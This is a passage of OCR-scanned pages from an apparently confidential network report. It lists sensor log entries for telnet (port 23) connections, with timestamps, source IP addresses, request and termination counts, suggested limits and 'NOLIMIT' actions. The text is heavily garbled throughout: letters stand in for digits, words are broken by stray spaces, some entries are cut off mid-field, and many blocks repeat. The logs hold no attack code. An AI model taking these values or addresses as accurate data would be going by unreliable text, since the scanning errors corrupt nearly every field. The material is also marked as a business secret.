O S : S 7 : 1 7 .90, port=2 3, host=l27.0 .0 . l , l h ost=O.O .O .O,peak=l,hostpea k=l,requ ests=l,te r m i natio ns=O, current=l,s uggested_l i mit=2,sugg ested_perce ntage=l00, d u rat ion=O,wa rn i ngs=O,q os_exceptions=O,act i o n = N O L I M IT, 

sensorhostna me=DAFAS 

s 
0 6 : 5 8 : 58.22,  port=2 3, host=83 . 1 7  4.9 2 . 186, 1  host=O .O .0.0, pea k= 7, hostpea k=l, requ ests =8,term i nat ions=2,cu r rent= 7 ,s uggested _l i m it=l4,s uggested_perce ntage=l4,d u ration =0, warn i  ngs=O ,q os_ exceptions=O,acti  o n = N O L  

l M I T,se nsorhostna me=DAFAS 

s 
08:00 : 3 8 .54, port=2 3, hos t= 1 7 2 . 3 1 . 2  2 5 .  38, l hos t=O .O .  O .  O, pea k= 1 1, h ost pea k= 2, re q u ests =6, te  r m i n at i on s =3 ,c  u r rent= l O ,sugg est ed _l i m i t=22, s uggest ed _p e rcentage = 18, d u rat i on =O, w a r n i ng s =O, q os_ exce pti o n  s=O, a et i o n =  N 

OL I  M IT,sensorhostna me= DAFAS 

s 
09:02 : 18 .82, port=2 3 , h ost=l7 2 . 3 1 . 2 2 5 .38, 1 host=O .O .O .O, peak=l7, host peak=S,requ ests =9,t e r m i n at ions=2,current=l7,suggested_l i m it=33,s uggested_pe rcentage=3 l,d u rat ion=O,warn i ngs=O,q os_exce ptio ns=O,a cti o n = N  

O L I M IT,s ens orhostna me=DAFAS 

5 

l O :  0 3 : 5  9 . 18, p o r t= 2 3,  h os t= 17 2 . 3 1 . 2  2 5 . 38, l hos t=O . O .  O .O, pea k= 18, hos t pea k= 6, re q u ests =5, te r m i n at i on s=  5 ,c  u r rent= 17 ,sugg est ed _l i m it=34 ,sugg est ed _p e rcentage =3 7 ,d u rat i o n =O, w a rn  i ng s =O, q os_ ex c e pti o ns=O, a et i o n =  N 

O U M IT,sensorhostna me= DAFAS 

s 
1 1  :0 5 : 3  9 .43, port=23, hos t= l 7 2 .  3 1 . 2  2 5 .  38, l hos t=O . O .  O .  O, pea k= 17, hos t p e a k= 5,  re q u ests =3, t er  m i nat ion s= 7 , c  u r re n t =  13,  s uggest ed _l i m i t= 3 3 ,s  uggest ed _p e re e ntage =31,  d u rat i o n =O, w a rn i ng s =O, q os_ e xce p t i o ns=O ,a  et i on= N 

O L I M IT,sensorhost n a m e = DAFAS 

s 
1 2 : 0 7 : 1 9 . 7 l , port=23, host=l37 .59 .254 .16l, l host=O.O.O .O,peak=l5, host pea k=2,requ ests=8,te r m i nat ions=8,current=l3,s uggested_l i m i t =32,s uggested_percentage=l l , d u rat ion=O,wa r n i n gs=O, qos_excepti ons=O,acti on= 

NOL l  M IT,s e nsorhost n a m e= DAFAS 

Stri ct ly confidenti a l  l Bus iness Secret l 



Sidan 550 av 574 

Report 

5 

13 :09 :00.06, p o rt=2 3, hos t=8 3 . l  7 4 .  9 3 . 198, l hos t=O .O .O .O, pea k= 18, hast pea k= l, re q u ests =8, t er  m i nat ion  s =3, c u r rent= 18 ,s uggested _l i m i t= 40 ,s uggest ed _p e rcentag e=4, d u r at i o n=O, w a rn i ng s =O, q os_ ex c e pti o ns=O ,act i o n =  N O 

L I M I T,se ns orhost n a me= DAFAS 

5 

14:  10:40.28, p o r t= 2 3, hos t= l 7 2 .  3 1 . 2  25 .38,  l hos t=O .O .O .O, pea k= 2 O, hast pea k= 5,  re q u ests = 7, t e r m i nat ion s =6 ,s uggest ed _l i m it=40 ,s ugg est ed _p e re en  tage=2 5,  d u rat i o n=O, w a r n i ngs=O, q os_ ex c e p t i o n s =O ,act i o n= N O Ll M IT ,se n 

sorhostna m e =DAFAS 

5 

1 5 : 1 2 : 20.65, port=2 3 , h ost= 1 7 2 . 3 1 . 2 2 5 .38, 1 host=O.O .O.O, peak=21, hostpeak=7,requ ests =l0,terminat ions=l5,curre nt=l4, suggested_l i m it=40, s uggested_perce ntage=36, d u rat ion =O,wa r n i ngs=O,q os_excepti o ns=O,acti o n  

= N O L I M IT,sensorhost n a m e =DAFAS 

5 

1 6 :  14:00.88, port=2 3, hos t= l 7 2 .  3 1 .2  2 5 .  38,  l hos t=O .O .O .O, pea k= 15, h ast pea k=S, re q u ests = 13,  termi nat io ns=2 2,cu r re nt=S ,s  uggest ed _l i m it=28 ,s u g gest ed _p e rcenta ge=3 8, d u rat i o n =O, w a rn i ngs=O, q os_ ex c ep t i ans =O ,a  et i o n =  

N O L l  M IT,se nsorh ost na me= DAFAS 

5 

1 7 : 1 5 : 4 1 . 18, port=23, host=8 3 . 2 3 3 . 105 .4 7, l host=O .O .O .0, pea k=S, hostpea k=l, re q u ests=2, termi nat io ns=S ,cu rrent=2,suggested _I i  mit=lO,s uggested_perce ntage=20,d urati o n =O, w a rn i  ngs=O , q  os_ excep t ions=O,acti o n = N O L  

l M IT,se nsorhostna me=DAFAS 

5 

1 9 : 1 9 : 0 1 . 79,port=23, host=137 .59 .254.16l, l host=O .O .O.O, peak=2, host peak=l,requ ests=O,t e r m i nat ions=l,cu rrent=l,s uggested_l i m it=3,suggested_percentage=100, d u rat io n=O,wa rn i ngs =O, qos_exce ptio n s=O,actio n = N O  

L I M IT,sens ortn a m e=DA FAS 

5 

2 3 : 47 : 16 . 14, port=23, host=24.141 .58 .29, 1 host=O .O.O.O, pea k=l,hostpeak=l, req uests =l,termi nat ions=l,cu rrent=O,s uggested_ l i m it=2,suggested_perc e ntage=lOO, d u rat ion=O,wa rn i ngs =O,q os_exce ptions=O,act i o n = N 0 : 4  

00:08:49.32, port=2 3 , h ost=2 2 2 . 100. 1 1 9 .80, 1 host=O.O.O.O,peak=l, host peak=l, req u ests =l,termi nat ions=l,cu rrent=O,suggested_l i m it=2 ,suggested_percentage=lOO,durat io n =O,wa r n i ngs=O, qos_except ions=O,acti o n = N O  

L l  M IT,se nsorhost n a me= DAFAS 

4 

0 1 : 10 : 2 9 . 66,port=23 , h ost=2 2 2 . 100 . 1 19.80, 1 host=O.O .O .O, peak=l, hostpeak=l, req u ests =l,termi nat ions=l,cu rrent=O,suggested_l i m it=2 ,suggested_perce ntage=lOO, d u rat io n=O,wa rn i ngs=O,qos_except i o ns=O,acti o n = N O  

L I M I T,sens orhost na me=DAFAS 

4 

1 3 : 3 0 :  3 3 .  2 7, port=23,  hos t=S 9 . 1 2  7 .  2 5 1 .9, l host=O .O .O .O, pea k= l, h ostpea k= l ,  re q uests =3, t er  m i n a t i on s =3, c u rrent=O ,s  ugg est e d _l i m it=2,s u g ges te d _percentage= l 00 ,d u rat i on =O, w a rn i ng s =O, q os_ ex c e pti o ns=O, a et i o n = N  O U 

M IT,s e nsorhost n a m e= DAFAS 

4 

1 6 : 3 5 : 3 4 . 1 3 , port=23, host=124.109.36 .48, 1 host=O.O .O.O, pea k=l,hostpeak= l , re q u ests=2,terminat io ns=2,curre nt=O,suggested_l i m it=2,su ggested_perce ntage=lOO, d u rat ion=O,wa rn i ngs=O,q os_except ions=O,acti o n = N O L  

l M I T,se nsorhost n a me=DAFAS 
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4 

2 2 : 45 : 3 5 .87, port=23 , h ost=24 . 1 4 1 . 5 8 . 2 9 , 1 host=O .O.O .O, pea k=1, hostpea k=1,requests=1,terminat ions=1,cu rrent=O,suggested_l i m it=2,suggested_percentage=100, d u ratio n =O,wa rn i ngs=O,q os_exce ptio ns=O,actio n = N O L I  

M IT,s e nsorhost n a m e= DAFAS 

5 

0 5 : 5 7 :  17 .90, port=23, host=12 7 .O .0 .1 , 1  h ost=O.O.O .0, peak=1,host p eak=1,requests= 1,  ter m  i nat io ns=O, cu rrent=1,s uggested _l i mit=2,s uggested_perce ntage=100,d uration =O, w a r n i  ngs=O , q  os_ except ions=O,a et i on = N O L I M  IT, 

sensorhostna me=DAFAS 

5 

0 6 : 5 8 : 5 8 . 2  2,  port= 23,  hos t=83 . 1  7 4. 9 2 .186,  l hos t=O . O .  O .  O, pea k= 7, hos t p e a k= 1 ,  re q u ests =8, t er  m i nat ion s =2,  c u r re n t= 7 ,sugg est ed _l i m i t= 14 ,s uggest ed _p e re e n tag e= 14, d u rat i on =O, w a rn i ngs=O ,q os_ ex c ep t i ans =0, a et i on =N O L 

I M IT,sensorhost n a me =DAFAS 

5 

08 :00:3  8 .  54, port= 2 3,  hos t= 17 2 .  3 1 . 2  2 5 .  38,  l hos t=O .O .O .O, pea k= 1 1 ,  hast p e a k= 2, re q u ests =6, t er  m i nati  ans =3, c u r rent= lO ,s uggest ed _l i m i t= 2 2 ,s uggested _p e re e ntage = 18 ,d u r at  i on =O, w a rn i ng s =O, q os_ ex c e pti o ns=O ,a  et i o n =  N 

O L I M IT,s ens orhostna me =DAFAS 

5 

0 9 : 0 2 :  18.82, port=23, host=l72 . 3 1 . 2 2 5  .38, l host=O .O .O .0, peak=l7, host peak=5 , re q u ests =9, term i nati  ons=2,cu rrent=l7 ,suggested _l i m it= 3 3  ,suggested_pe rcentage=3 1,d u ration =O, w a rn i  ngs=O,qos _ exce pt ions=O,a et i o n =  N 

O U M IT,s ens orhostna me=DAFAS 

5 

l O :  0 3 : 5  9 . 18, port= 23,  hos t= l 7 2 .  3 1 . 2  2 5 .  38, l hos t=O .O .  O .  O, pea k= 18, hast p e a k= 6, re q u ests =5, t er  m i nat ion s =5, c u r re n t =  17 ,s uggest ed _l i m i t= 34 ,s ugg est ed _p e re e ntage =3 7 ,d u rat i on =O, w a rn i ng s =0, q os_ ex c e p t i o ns=O ,a  et i o n =  N 

O L I M IT,s ens orhostna me =DAFAS 

5 

1 1 :0 5 : 3 9 .43 , port=23, host= l 7 2 . 3 1 . 2 2 5  .38, 1  host=O .O .0.0, pea k=l7, host pea k=5, re q u ests =3,term i nati  ans= 7 , c  u rrent =l3 ,suggested _I i mit= 3 3  ,suggested _percentage=3 l,d u rat ion =O, warn i  ngs=O,qos _ except ions=O,a ctio n = N  

O U  M IT,sensorhostna me=DAFAS 

5 

1 2 : 0 7 : 1 9 . 7 l, port=2 3, host=137 .59 .254.161, 1 host=O.O .O.O,peak=l5, hostpea k=2,requ ests=8,te r m i nat ions=8,current=l3,s uggested_l i m it =32,s uggested_percentage=l l , d u rat ion=O,wa rni ngs=O, qos_excepti ons=O,act i o n =  

N O L I M IT,s e nsorhost n a m e= DAFAS 

5 

13 :09 :00.06, p o r t= 2 3,  h os t=8 3 . l  7 4.  9 3 . 198, l h os t=O. O .  O .  O, pea k= 18, h ost pea k= l,  re q u ests =8, te  r m i n at i ons=3 ,c  u r re n t =  18 ,sugg est ed _l i m it=4 O ,s uggest ed _p e re e n tag e=4, d u rat i o n=O, w a r n i ng s =O ,q os_ ex c e p t i o ns=O ,a  et i o n= N O 

L I M  I T,se nsorhost n a  me=DAFAS 

5 

14:  lO :  40.28, port= 2 3,  hast= 17 2 .  3 1 . 2  2 5 .  38,  l hos t=O .O .  O .  O, pea k= 2 O, hast p e a k= 5, re q u ests = 7, t e r m i nati  ans =6, c u r rent= 19 ,s uggest ed _l i m it=40 ,sugg est ed _p e rcentage =2 5,  d u rat i o n  =O, w a rn i ng s =O, q os_ e xce p t i o ns=O ,a  et i o n =  N 

O L I M IT,s ens orhostna me=DAFAS 
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5 

1 5 : 1 2 : 20.65 ,port=23, host=l7 2 . 3 1 .225 .38,  l host=O .O .0.0, pea k=21,  hostpeak= 7 ,requ ests =lO, termi nat io ns=l5 ,curre nt=l4,s uggested_l i mit=40,s uggested_perce ntage=36, d u rat ion=O, warn i  ngs=O,q os_ e xce ptio ns=O ,act i o n  

= N O L I M IT,s ensorhost n a m e = DAFAS 

5 

1 6 : 14 :00.88, port=23, host= l 7 2 . 3 1 . 2 2 5 .38, 1 host=O .O.O .O,peak=l5, host p ea k=5,requ ests = l3,terminat ions=22,curre nt=5 ,s uggested_l i m it=28,s uggested_pe rcentage=38, d u rat ion=O,wa r n i ngs=O, qos_except ions=O,acti o n =  

N O L I M IT,se nsorhost n a m e= DAFAS 

5 

1 7 : 15 : 4 1 . 18, port=2 3, host=8 3 . 2 3 3 . 105 .47, 1 h ost=O . O . O .O,peak=5,hostpeak= l , requ ests=2,termi nat io ns=5,curre nt=2,s uggested_l i m it= l0,s uggested_percentage=20, d u rat ion=O,wa r n i ngs=O,q os_exceptions=O,act i o n = N O L  

I M IT,se nsorhost n a me=DAFAS 

5 

l g : lg : O l .7g,port=2 3, host= l 3 7 . 5 g . 2 5 4 . 1 6 1 , 1 host=O.O .O.O, peak=2,hostpeak=l,requ ests=O,terminat ions=l,cu rrent=l,suggested_l i m it=3,suggested_percentage=l00, d u r at io n=O,wa r n i ngs =O, qos_exce ptio ns=O,acti o n = N O  

L I M IT,se nsorhost n a me=DAFAS 

5 

2 3 :4 7 :  16 . 14, port=2 3,  hos t=2 4 . 1 4 1 . 5  8 .  2 g, l h ost=O .O .  O .  O, pea k= l,  hostpea k= l ,  re q u ests = l,  t e r  m i n a t i o n s =  l,  c u r re n t =O ,s uggeste d _l i m it=2,s ugges te d _p e re e n t a ge= l 00 , d  u ration =0, w a r n i ng s =O, q os_ ex c e pti o ns=O , a  et i on= N o U 
M IT,s e nsorhost n a m e= DAFAS 

6 

00 : 2 7 : 2 3 . 26,port=2 3 , h ost=8 1 . 17 3 . 1 64 .4l, l host=O .O .O .O, peak=l, hostpeak=l, req u ests=l,termi nat ions=l,cu rre nt=O,suggested_l i m it=2 , suggested_percentage=lOO,d u rat ion =O,wa r n i ngs=O,q os_excepti o ns=O,acti o n = N O L  

I M I T,se nsorhostna me= DAFAS 

6 

0 5 : 3 5 :44.77, port=23 , h ost=74. g 4 . 1 3 6 . 14l, l host=O .O.O .O,peak=l, hostpea k=l,requ ests=l,termi nat ions=l ,curre nt=O,suggested_l i m it=2,suggested_perce ntage=lOO, d u ra t ion=O,warn i ngs=O,q os_except io ns=O,acti o n = N O L  

I M I T,sensorhost n a me=DAFAS 

6 

0 6 : 3  7 : 2  5 .  O l,  p o r t= 2 3,  h os t=8 3 . l  7 4.  g 2 . 186, l h os t=O .O .  O .  O, pea k= 8,  h os t p e a k= l ,  re q u ests = l O, ter m i nati  o ns=2 , c  u r re nt=8, sug g ested _l i m i t= 1 7  ,s uggest ed _perce n tag e= 11 ,  d u rat i o n =O, w a rn  i ngs=O, q os_ e xcept i o ns=O ,a  et i o n= N O 

Ll M I T,se nsorhost n a  me=DAFAS 

6 

O 7 : 3  g :  O 5 .  30, port= 23,  hos t=l 7 2 .  3 1 . 2  2 5 .  38, l host=O .O .O .O, pea k= 14, h ast pea k= 5,  re q u ests = 11 ,  te r m i n at  i o n s =5, c u r re n t= 14 ,s uggest ed _l i m i t= 2 6 ,s ugg est ed _p e re e n tag e=4 1, d u rat i o n  =O, w a rn  i ngs=O, q o s_ except i o n  s =O, a ct i o n =  

N O L I M IT,se nsorhost n a m e = DAFAS 

6 

08:40:45.5g,port=23, host=l0 . 6 6 . 10.160, 1 host=O .O.O .O, pea k=l8,hostpeak=l, requ ests =7,termi nat io ns=4,curre nt=l7,sugg ested_l i m it=40,suggested_percentage=4, d u rat io n=O,wa r n i ngs=O, qos_excepti ons=O,acti o n = N O L  

l M IT,se nsorhost n a me=DAFAS 

Strict ly confi denti a l  l Bus iness Secret l 



Sidan 553 av 574 

Repan: 

6 

09 :42 :25 .91 , port=23 , h ost=1 7 2 . 3 1 . 2 2 5 .38, 1 host=O.O .O.O, pea k=20, host peak=6, req u ests=8,termi nati ons=9,cu rrent= 16,s uggested_l i mit= 39,suggested_pe rcentage=3 1,d u rat ion=O,wa rn i ngs=O,q os_exce ptions=O, a ct ion=N 

O L I M IT,sens orhostna me=DAFAS 

6 

1 O :  44:06.2 7, port= 2 3, h ost= 1 O . 1 70.  O .  53,  l h ost=O .O .O .  O, pea k= 17,  h ostpea k=3, re q u ests =6, te r m i n a t i ons=6 ,c  u r re n t= 1 6  ,sugg ested _l i m i t=3 5 ,s uggest ed _per c e n tag e=16, d u r at i o n =O, w a r n i ngs=O, q os_ ex c ep t i o ns=O ,a  et i o n =  NO L 

l M IT,se nsorhostna me=DAFAS 

6 

1 1 :45 :46.54, port=23, host=172 . 3 1 .225 .38, 1  host=O .O .0.0, pea k=2 1, host pea k= 7, requ ests=9, term i nat ion s=  7,c u rrent=18,suggested_li  m it= 40 ,s uggested _p ercentage=36,d u ration =0, w a rn i  ngs=O,qos _ex c e ptio ns=O,a ction = N  

O L I M IT,s ens orhostna me=DAFAS 

6 

1 2 :47 :26 .77, port=2 3 , h ost=1 7 2 . 3 1 . 2 2 5 .38, 1 host=O .O .O.O, peak=20, host peak=6, req u ests=8,termi nat ions=6,cu rrent=20,s uggested_l i m it= 39,s uggested_pe rcentage=31,d u rat ion=O,wa rn i ngs=O,q os_exce ptio ns=O,a cti o n = N  

O Ll M IT,sensorhostna me=DAFAS 

6 

13  :49 :0 7 . 16, port= 23,  hos t= 17 2 .  3 1 . 2  2 5 . 3  8, l h os t=O .O .  O .  O, pea k=21, hast p e a k=6, re q u ests =9, terminat io  ns=9 ,c  u r re n t =20, s uggested _l i m i t= 41 ,s uggest ed _p e re e n tag e=30, d u r at i on =O, w a r n i ng s =O ,q os_ ex c e pti o ns=O, a et i o n =  N 

O U  M IT,s ens orhostna me=DAFAS 

6 

14:5  O :  4 7 .45, port= 2 3,  hos t= 17 2 .  3 1 . 2  25 .3  8, l hos t=O .O .O .  O, pea k =2 1, h ost p e a k= 5, re q u ests =5, t er  m i n at i o n  s=  1 O ,c  u r re n t= 15 ,s uggested _l i m it=42,s ugg est ed _p e rce nta ge= 2 3,  d u rat i on =O, w a rn i ngs=O, q o s_ ex c e pti ans =O, a et i on= 

NOL l  M IT,se nsorhost n a m  e= DAFAS 

6 

1 5 : 5 2 :27 .69 , port=23, host=172 .3 1 .225 .38, l host=O .O .0.0, peak=15,  hast pea k=4, requ ests=6, term i nati  ons=12,cu rre nt=9 ,suggested _l i mit=29 ,suggested _p e rcentage=28,d u ration =O, warn i  ngs=O ,q os_ except ions=O,a ct i o n = N  

O Ll M IT,s ens orhostna me=DAFAS 

6 

1 6 : 54:08.01, port=2 3, host=137 .59 .254 . 161, 1 host=O.O.O .O,peak=10, hostpeak=1,re q u ests=2,te r m i natio ns=S,current=6,s uggested_l i m it=21,s uggested_pe rcentage=9, d u ratio n=O,wa rn i ngs=O,q os_exceptio ns=O,acti o n = N O  

L I M I T,sens orhost n a me=DAFAS 

6 

1 7 : 5  5 :48 .31,  port= 23,  hos t= 1 O . 170 .O .57,  l h ost=O . O .O .  O, p e a k=6, h ost p e a k= 1, re q u ests= 1 ,  ter m i nati  o ns=6, c u r re n t= 1,s  ugg est ed _l i m i t= 12,s ugg est ed _p e re e n ta g e= 16, d u rat i on =O, w a rn i ng s =O, q os_ ex c e pti o ns=O ,act i o n =  N O Ll M 

IT,sensorhostna me=DAFAS 

6 

2 1 :00:4 9 . 16, port=2 3,  hos t= 164.9 .  2 2 6 .  94, l host=O .O .O .O, pea k= 1, hostpea k= 1 ,  re q u ests= 1,  te  r m i n a t i on s =O ,c  u r rent= 1,  s uggeste d _l i m i t= 2 ,s ugges t ed _perce n t a ge= 100 ,d u ra t i o n  =O, w a r n i ngs=O ,q os_ ex c e pti o ns=O ,a  et i on =N O Ll 

M IT,s e nsorhost n a m e= DAFAS 

Strict ly contident ia  l l Bus i ness Secret l 



Sidan 554 av 574 
Report 

6 

2 3 : 25 :42.93,port=2 3 , h ost=8 1 . 1 7 3 . 164.41, 1 host=O.O .O.O, peak=l, hostpea k=l , re q u ests =l,termi nat ions=l,curre nt=O,suggested_l i m it=2, suggested_perce ntage=100, d urat ion=O,wa r n i ngs=O,q os_exce pti o ns=O,acti o n = N O L  

l M I T,se nsorhost n a me=DAFAS 

7 

0 2 : 0 9 :  lO .67 , port=23, hast= 77 . 108.79 . 78, 1 host=O .0 .0 .0, pea k=l, hostpea k=l,req uests=2, termi nat ions =2,cu rrent=O ,s  uggested_l i mit=2,s uggested_perce ntage=lOO, d u rat ion=O, w a rn i  ngs=O,qos _ exce ptio ns=O,actio n = N  O Ll 

M IT,s e nsorh ost n a m e = DAFAS 

7 

0 6 :  1 5 : 5 1 .79, port=2 3,  host=8 3 . 1 7  4. 9 2 .186,  l h os t=O .O .  O .  O, pea k=3, hos t p e a k= l ,  re q u ests =3, t e r m i n at i o ns=O , c  u r re nt=3, suggest ed _l i m it=5, suggested _p e re e n tag e=5 O, d u rat i o n=O, w a r n i ngs=O, q os_ ex c e p t i o ns=O ,a  et i o n =  N O Ll 

M IT,s ensorhost n a m e= DAFAS 

7 

0 7 :  1 7 : 3  2 . 14,port=23, host=83 . 1 7  4 .92 . 186, 1  host=O .O .0.0, pea k=8, hostpea k=2, re q u ests= 7, term i nat io ns=3 ,cu rre n t= 7 ,suggested _l i m it=16 ,s uggested _perce ntage=25 ,d urat ion=O, w a r n i ngs=O , q  os_ exceptions=O,acti o n = N O L  

I M I T,se nsorhostna me=DAFAS 

7 

08 : 1 9 :  1 2 . 38, port=2 3,  hos t= l 7 2 . 3 1 . 2 2 5  .38, l host=O .O .0 .0, peak=18, hostpea k=5 ,requ ests= l 3  ,terminat io ns=3 ,current=17 ,suggested _l i mit=35 ,s uggested _percentage=2 9 , d  urat ion =O, w a r n i ngs=O, qos _ excepti ons=O,acti  on= 

N O L I M IT,se nsorhost n a m e = DAFAS 

7 

0 9 : 2 0 : 5 2 .67 ,port=23, host=83 . 1 7  4 .93 . 19, 1  host=O .0 .0 .0, pea k=19, hostpea k=2, re q u ests=4, termi nat io ns=4,curre n t= 17 , suggested _I i mit=41,s uggested_percentage=9 , d uratio n=O, w a rn i  ngs=O,qos _e xcept i o ns=O,act ion= N O L  

l M I T,se nsorhost n a me=DAFAS 

:4 

00:08:49.32,port=23, host=2 2 2 . 100. 1 19.80, 1 host=O.O.O .O,peak=l, host peak=l, req u ests =l,term i nat ions=l,cu rrent=O,suggested_l i m it=2,suggested_percentage=100, d u ratio n=O,wa rn i ngs=O,qos_exce ptions=O,acti o n = N O  

L I M IT,sensorhost n a m e=DAFAS 

4 

0 1 : 10 : 2 9 .66,port=2 3, host=2 2 2 . 100. 1 19 .80, 1 host=O.O.O .O,peak=l, host peak=l,req u ests=l,termi nat ions=l,cu rrent=O, suggested_l i m it=2,suggested_percentage=lOO, d u rat io n=O,wa rni ngs =O, qos_except io ns=O,actio n = N O  

Ll M IT,se nsorhost n a me=DAFAS 

4 

1 3 : 3 0 : 3  3 .  2 7, p o rt=23, hos t=5 9 . 1 2  7 .  2 5 1 .9,  l host=O . O  .O .O, pea k= l, hostpea k= l ,  re q u ests =3, t e r  m i n a t i o n s =3 , c  u r re nt=O ,s uggeste d _l i m i t= 2,s ugges t ed _perce ntage= l 00 ,d u rat i o n =O, w a rn  i ng s =O, q os_ ex c e p t io  ns=O , a  et i o n =  N O L l  

M IT,s e nsorhost n a m e = DAFAS 

4 

1 6 : 3 5 : 34 . 1 3 , port=23, host=124.109 . 3 6 .48, 1 host=O.O .O.O,peak=l, hostpea k=l, req u ests=2,termi nat io ns=2,curre nt=O,suggested_l i m it=2, suggested_percentage=lOO, d u rat ion=O,wa r n i ngs=O,q os_exce pt io ns=O,act i o n = N O L  

I M I T,se nsorhost n a me=DAFAS 

Strictly confident i a l  l Bus i ness Secret l 



Sidan 555 av 574 

Report 

4 

2 2 :45 : 3  5 .87, port= 23,  hos t=2 4 . 1 4 1 .  5 8 . 2  9, l host=O . O .O .O, pea k= 1, hostpea k= 1 ,  re q u ests = 1,  te r m i n a t i on s=  1 ,c  u r rent=O ,s  ugg est e d _l i m i t= 2,s ugges t ed _p e re e n tag e= 100, d u rat i on =O, w a rn  i ng s =O ,q os_ ex c e pti o ns=O , a  et i 0 n =  N o Ll 

M IT,s e nsorh ost n a m e= DAFAS 

5 

05 : 5 7 :  17 .90, port=2 3,  h ost= 12 7 .O .  O . 1 ,  l h ost=O .O .  O .O, pea k= 1,  h ost pea k= 1, re q u ests= 1 ,  ter m i n at  i o ns=O, c u r re n t= 1 ,s  uggest ed _l i m it=2,s ugg est ed _perce n ta ge= 100 ,d u rat i on =O, w a r n i ngs=O, q os_ ex c e pti ons=O ,a  et i o n =  N O L l M IT, 

sensorhostna me=DAFAS 

5 

0 6 : 5 8 :  58.22, port=23, host=83 . 1 7  4 .92 . 186, l host=O.O .0.0, peak= 7, hostpea k=1, requ ests=8, termi natio ns=2,curre n t= 7 ,suggested _I i  m it=14 ,s uggested _perce ntage=14,d u ration =0, w a rn i  ngs=O ,q os_ exceptions=O,acti on=NOL 

I M IT,se nsorhost n a me=DAFAS 

5 

08:00 : 3  8 .  54, port=2 3, hos t= 17 2 .  3 1 . 2  25 .38,  l hos t=O .O .O.  O, pea k= 11 ,  hos t p e a k= 2, re q u ests =6, t er  m i nat ion s =3 ,c  u r re n t= 1 O ,s uggest ed _l i m it=2 2 ,suggest ed _p e re e ntage= 18 ,d u ra t i on =O, w a rn i ng s =O ,q os_ ex c e pti o ns=O, a et i o n =  N 

O L I M IT,s ensorhostna me=DAFAS 

5 

09 :02 :  18.82, port=2 3,  host=172 . 3 1 . 225 .38, l host=O .O .0.0, pea k=17, hostpea k=S , requests=9 ,term i nati  ons=2,cu rrent=17 ,suggested_l i mit=33 ,suggested_pe rcentage=3 1,d urat ion =0, w a r n i  ngs=O,qos _ex c eptio ns=O,a et i o n =  N 

OL I  M IT,sens orhostna me=DAFAS 

5 

1 O :  0 3 : 5  9 . 18, port= 2 3, hos t= 17 2 .  3 1 . 2  2 5 . 38, l hos t=O .O .O .O, pea k= 18, hos t p e a k= 6, re q u ests =5, t e r m i n a t i on s =5, c u r rent= 17 ,suggest ed _l i m it=34, suggest ed _p e rcenta ge =3 7, d u rat i o n =O, w a rn i ng s =O ,q os_ e xce pti o ns=O, a et i on= N 

O L I M IT,sensorhostna me=DAFAS 

5 

1 1  : 0 5 :  3 9 .43, p o rt=23, hos t= 17 2 .  3 1 . 225 .3  8, l h os t=O . O .  O .  O, pea k= 17, h ost pea k= 5, re q u ests =3, t e r m i n at i on s=  7 , c  u r re n t =  13  ,s uggest ed _l i m it=3 3 ,  s ugg ested _p e rcentage =3 1, d u rat i o n =O, w a rn  i ng s =O, q os_ e xce pti o ns=O , a  et i on= N 

OL I  M IT,s ens orhostna me= DAFAS 

5 

1 2 : 0 7 : 19 .7 1, port=23, host=137 .59 .25 4 . 1 6 1 , 1 h ost=O.O .O.O, peak=15, host pea k=2,re q u ests=8,te r m i nat ions=8,current=13,s uggested_l i m it =32,s uggeste d_percentage= 1 1 , d u rat ion=O,wa rn i ngs=O, qos_except ions=O,acti o n =  

N O L I M IT,se nsorhost n a m e = DAFAS 

5 

13  :09 :00.06, port=2 3,  hos t=83 . 1  7 4.  9 3 .198,  l hos t=O .O .O .O, pea k= 18, hos t p e a k= 1,  re q u ests =8, t er  m i nat ion s =3, c u r rent= 18 ,s uggested _l i m i t= 40, sug g est ed _p e rcentage =4, d u rat i o n=O, w a rn  i ng s =O, q os_ e xce pti o ns=O ,act i o n= N O 

L I M  IT,se nsorhost n a me= DAFAS 

5 

14:  10 :40.28, port=23, host=172 . 3 1 . 2 2 5  .38,  l host=O .O .0.0, pea k=20, hos t peak=S , requests= 7, term i nati  ons=6.,s uggested _I i  m it=40,s uggest ed _percentage=25 ,d u rati o n =O, w a rn i ngs=O,qos _ except ions=O,act i  o n = N O L  l M IT,s e n  

sorhost n a m e =DAFAS 

Stri ct ly confidenti a l  l Bus i ness Secret l 



Sidan 556 av 574 
Report 

5 

1 5 : 1 2 : 20.65, port=23, host= 1 7 2 . 3 1 . 2 2 5 .38, 1 host=O .O.O .O,peak=21, host peak=7,requ ests =10,term i n at ions=15,cu rre nt=14,suggested_l i m i t=40,s uggested_perce ntage=36, d u rat ion=O,warn i ngs=O,q os_exceptio ns=O,act i o n  

= N O L  I M IT,s ens orhostna me= DAFAS 

5 

1 6 :  14:00.88, port=23, hos t= 17 2 .  3 1 . 2  2 5 .  38, l host=O .O .  O .  O, pea k= 15, h ost pea k= 5,  re q u ests = 13,  t er  m i nat ion s =2 2, c u r re nt=5 ,s uggest ed _l i m i t =28, s uggest ed _p e rcentag e=3 8, d u rat i o n  =O, w a r n i ngs=O, q o s_ except i o n  s =O, a ct i o n =  

NOL l  M IT,s ensorhostna m e = DAFAS 

5 

1 7 : 1 5  : 4 1 . 18,port=23, hos t=83 . 2 3 3 . 105 .4 7 , l  host=O .O .0.0, pea k=5, hostpea k=1, re q u ests=2, termi natio ns=5 ,cu rrent=2,s uggested_l i m i t=10,s uggested _perce ntage=2 O,durat ion=O, w a r n i ngs=O ,q os_ exceptions=O,acti  o n = N O L  

I M I T,sens orhost n a m e =DAFAS 

5 

1 9 : 19 : 0 1 .79, port=2 3, host=137 .59 .254.161, 1 host=O .O .O .O, peak=2,host peak=1,requ ests=O,term i nat ions=1,current=1,suggested_l i m it=3,suggested_percentage=100, d uratio n=O,warn i ngs =O, qos_exce pti o ns=O,act i o n = N O  

L I M I T,se ns ortn a m e = DA FAS 

5 

2 3 : 47 : 1 6 . 14, port=23,host=24.141 .58 .29, 1 host=O .O.O .O, pea k=1, hostpea k= 1 , req uests =1,t e r m i nat ions=1,current=O,s uggeste d_l i m it=2,s uggested_percentage=100, d u rat ion =O,warn i ngs=O,q os_exce pti o n s=O,act ion=NOLI  

M IT,s e nsorhost n a m e = DAFAS 

6 

